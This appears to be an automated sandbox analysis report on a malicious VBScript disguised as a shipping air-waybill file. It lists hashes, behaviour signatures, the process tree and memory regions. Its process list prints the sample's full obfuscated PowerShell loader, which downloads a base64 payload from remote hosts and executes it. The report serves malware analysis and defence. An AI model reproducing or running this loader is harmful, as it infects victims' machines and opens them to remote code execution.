Analysis
-
max time kernel
148s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
01-07-2024 11:18
Static task
static1
Behavioral task
behavioral1
Sample
awb_shipping_post_01072024224782020031808174CN18010724000000124(991KB).vbs
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
awb_shipping_post_01072024224782020031808174CN18010724000000124(991KB).vbs
Resource
win10v2004-20240508-en
General
-
Target
awb_shipping_post_01072024224782020031808174CN18010724000000124(991KB).vbs
-
Size
22KB
-
MD5
a13172a0f0e7ac4d5f957050221d7e3f
-
SHA1
c81809f26230427879daf37de42163b1731018ad
-
SHA256
e8a3dc3bf71a6dbdc2ab8beb59a9b435626d67d1596a4dc4dbfbc7c8978e74f2
-
SHA512
52feaccccb0ff8973f8c7bff8f1ca450c57351978778590c67ec5bb91025aa99d8011819f315806d1f580b87883e0ab36717b2f61c913945b20685ca048f0ef2
-
SSDEEP
384:AlzV6m2So022lGP9V6+s0flKJpl/5ZrE5HVnS0Re7PIx+5lEPmgwwP4WUUWUfLsA:0zSR022X/523S0e8xPPm+K1hmrRWK
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2620 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2620 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 836 wrote to memory of 2620 836 WScript.exe powershell.exe PID 836 wrote to memory of 2620 836 WScript.exe powershell.exe PID 836 wrote to memory of 2620 836 WScript.exe powershell.exe PID 2620 wrote to memory of 3068 2620 powershell.exe cmd.exe PID 2620 wrote to memory of 3068 2620 powershell.exe cmd.exe PID 2620 wrote to memory of 3068 2620 powershell.exe cmd.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\awb_shipping_post_01072024224782020031808174CN18010724000000124(991KB).vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Triakisoctahedron Centrifugalkrfternes Chadorer Strofers Lisys Catalogia Blodprvernes vindrosen Shantungsfrakke Dataformaters Doublehorned Legs Boomene Lakridskonfekter Forindstiller Vgterens Underskriftindsmlingens Uerfarne Blyholdigere Electively236 Casualist Adelarthrosomatous Superpowers Torgnys55 Triakisoctahedron Centrifugalkrfternes Chadorer Strofers Lisys Catalogia Blodprvernes vindrosen Shantungsfrakke Dataformaters Doublehorned Legs Boomene Lakridskonfekter Forindstiller Vgterens Underskriftindsmlingens Uerfarne Blyholdigere Electively236 Casualist Adelarthrosomatous Superpowers Torgnys55';If (${host}.CurrentCulture) {$Benzoid99++;}Function aflsningsdag($Udstyknngslov){$Epidotes=$Udstyknngslov.Length-$Benzoid99;$Ssterorganisationens='SUBsTRI';$Ssterorganisationens+='ng';For( $Abrogating=1;$Abrogating -lt $Epidotes;$Abrogating+=2){$Triakisoctahedron+=$Udstyknngslov.$Ssterorganisationens.Invoke( $Abrogating, $Benzoid99);}$Triakisoctahedron;}function Cykelturernes($Pediadontic){ & ($Klimaforandring) ($Pediadontic);}$Modificerende=aflsningsdag ',M oOzBiSl lAa /P5v.F0 P( W,i n d o,w,sr .N TK E1 0 .E0P;R .W iMnM6A4N; .x.6M4S; JrGvr:,1G2L1 .,0G)u ,GUeScRkOo /C2 0.1W0I0U1 0,1 HF iSrKeBfSo xK/M1S2F1S.Z0 ';$Propinquitatis=aflsningsdag 'UUOsSe,rA- ASg eSnUt. ';$Lisys=aflsningsdag '.h t t p sd:B/E/ e vRoBlKu xHcBo n,t.a,beiMl iPd a,d e . cAoSm,.,b,r /UJPU.L Y /FTPeMkBs tElSsRnTi n g sA1S1 8 .tj aSvLaT>.h,t tAp,sA:m/G/AeBuPr o,-Rf,i eDrW- vMeGcThUiA.MrNoL/PTUeIk,sut.l,s.nsi,n g s 1S1 8S.BjGa vRa, ';$Paracress=aflsningsdag ' >K ';$Klimaforandring=aflsningsdag ' i eBx. ';$alarmeret='vindrosen';$Giftefogeder = aflsningsdag 'HeEcSh o ,%,aMpUpMd aSt a %S\,Gfl,eMiDrS. UAn dP V& &, .e c h oS KtR ';Cykelturernes (aflsningsdag 'V$,g lPoSb,a lG: I,nSt,eDr p.e rSmDe.a.tDe,dB=.( c mRdT A/FcT S$cGDi fTt,eSf.o g e dDeAr.) ');Cykelturernes (aflsningsdag '.$Mg l o,bDaLl,: S tPrco fIe r s.=V$ L iRsLyEs .UsSpjl i,t ( $RP aHr aHc r.eAsVss)S ');Cykelturernes (aflsningsdag ' [ NAe.tB.,S esrHv,i.cNeTPIoFi,n tTM,acn aTgSe r.].:,:CSSe cSu r.iStOyRP.r,oEt oSc,oFl B= ,[ N.e tE..Spe cpuDr,iSt yKP r oDtSo cMoDl T,y p,eK] :.:DT lEsK1 2V ');$Lisys=$Strofers[0];$Abrogatingnvertedly= (aflsningsdag 'E$MgBl o bSarlA:,aOa bMn.e r = N e wS-EO,bAj e,c.t .SMyFs t e.m .SN eSt .NWHePb.C lTiPe nat');$Abrogatingnvertedly+=$Interpermeated[1];Cykelturernes ($Abrogatingnvertedly);Cykelturernes (aflsningsdag ' $Pa,aNb,n e.r .SH.e.a dUeCr s [ $.P r obpPi n qSu,iSt,aStti su] = $oMKo dMi fti cFeTr e,n dDeG ');$Mammaliferous=aflsningsdag 'b$ aSa bDn.eTr .FDMoSw n lPoLa dUFLial e ( $SL i sAyPsS, $ A dSeGl.aSr.t h rBo sFo m.aIt.oMu s ), ';$Adelarthrosomatous=$Interpermeated[0];Cykelturernes (aflsningsdag ' $pg,l,oBb,a.l :mSKu geePk oFpDp ean =b( T e,s t,-PPMaTt h. S$ APdSe lTa r t h r o,sAo,mNa thoIu,sT), ');while (!$Sugekoppen) {Cykelturernes (aflsningsdag 'P$HgPl oTbnaTl,:.SCt.a,k k eIr,=B$,t rAuAeR ') ;Cykelturernes $Mammaliferous;Cykelturernes (aflsningsdag 'RSMt aHrRt,-GSIlLe.eUp F4 ');Cykelturernes (aflsningsdag ',$,gRlOoIbBa,lD:RS u g eBk o.p pSean = ( T eks tB-,P.a,t h C$MA dReSl.a,r t h r.o sUoTmCa tBoSuFs ). ') ;Cykelturernes (aflsningsdag '.$Ug,lHo bKaHl.:bC h.a d owr eTr.= $.g lTo bSa l :,C ePnFt r i f u gPa l kIr fKt.e.r,nPe.s.+S+ % $ S tPrVo f eBrFsP.Jc o u.n tF ') ;$Lisys=$Strofers[$Chadorer];}$falskneriers=354252;$Parfumen=27076;Cykelturernes (aflsningsdag ' $ gcl oNb aIlE: SOhUaEn.tKu n,gMs,fSrOa.kNkUeC .=S SG.e tS-MCro n t.e.n tG D$.ATdSeKlpa,rJtOh r oCsGo mPaFt oSu s, ');Cykelturernes (aflsningsdag ' $ g.l o bBaAlG: ESl e kSt r o.t eSkBn iCk.eIr nHeM2E3E9U m= [MS y,s.tUe.mH. C oAnPv,eErTt ] :,:,F.rLo mRB aPsBe 6 4 S t r irn gD(K$,S h.a,nBtCu.nbg sSf r,aSkSk eF)S ');Cykelturernes (aflsningsdag 'D$ gol,oUbTa,lB:UL eFg s s=t C[RS yAs,t.e m . TPe,x.t . E n c o,dSi n gS]S:U: ATS C,I Id.SGReAtPSOtUrGi nRgF(.$.E l eDk tOr oFtBeOkSnUiGkPedr n,eD2D3 9F) ');Cykelturernes (aflsningsdag 'A$.gAllo bAaRlB: T e,r pMe.n tFiAnNh,o,l dAiSgRe.=,$EL,eTg.s . s,uHbss tHrSi n.g (A$AfKa l s kInSe rAi eGrSs,, $ PFa r fFu,mSeBn.)T ');Cykelturernes $Terpentinholdige;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gleir.Und && echo t"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2620-4-0x000007FEF573E000-0x000007FEF573F000-memory.dmpFilesize
4KB
-
memory/2620-7-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmpFilesize
9.6MB
-
memory/2620-6-0x0000000002240000-0x0000000002248000-memory.dmpFilesize
32KB
-
memory/2620-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmpFilesize
2.9MB
-
memory/2620-8-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmpFilesize
9.6MB
-
memory/2620-10-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmpFilesize
9.6MB
-
memory/2620-9-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmpFilesize
9.6MB
-
memory/2620-11-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmpFilesize
9.6MB
-
memory/2620-12-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmpFilesize
9.6MB
-
memory/2620-13-0x000007FEF573E000-0x000007FEF573F000-memory.dmpFilesize
4KB
-
memory/2620-14-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmpFilesize
9.6MB
-
memory/2620-15-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmpFilesize
9.6MB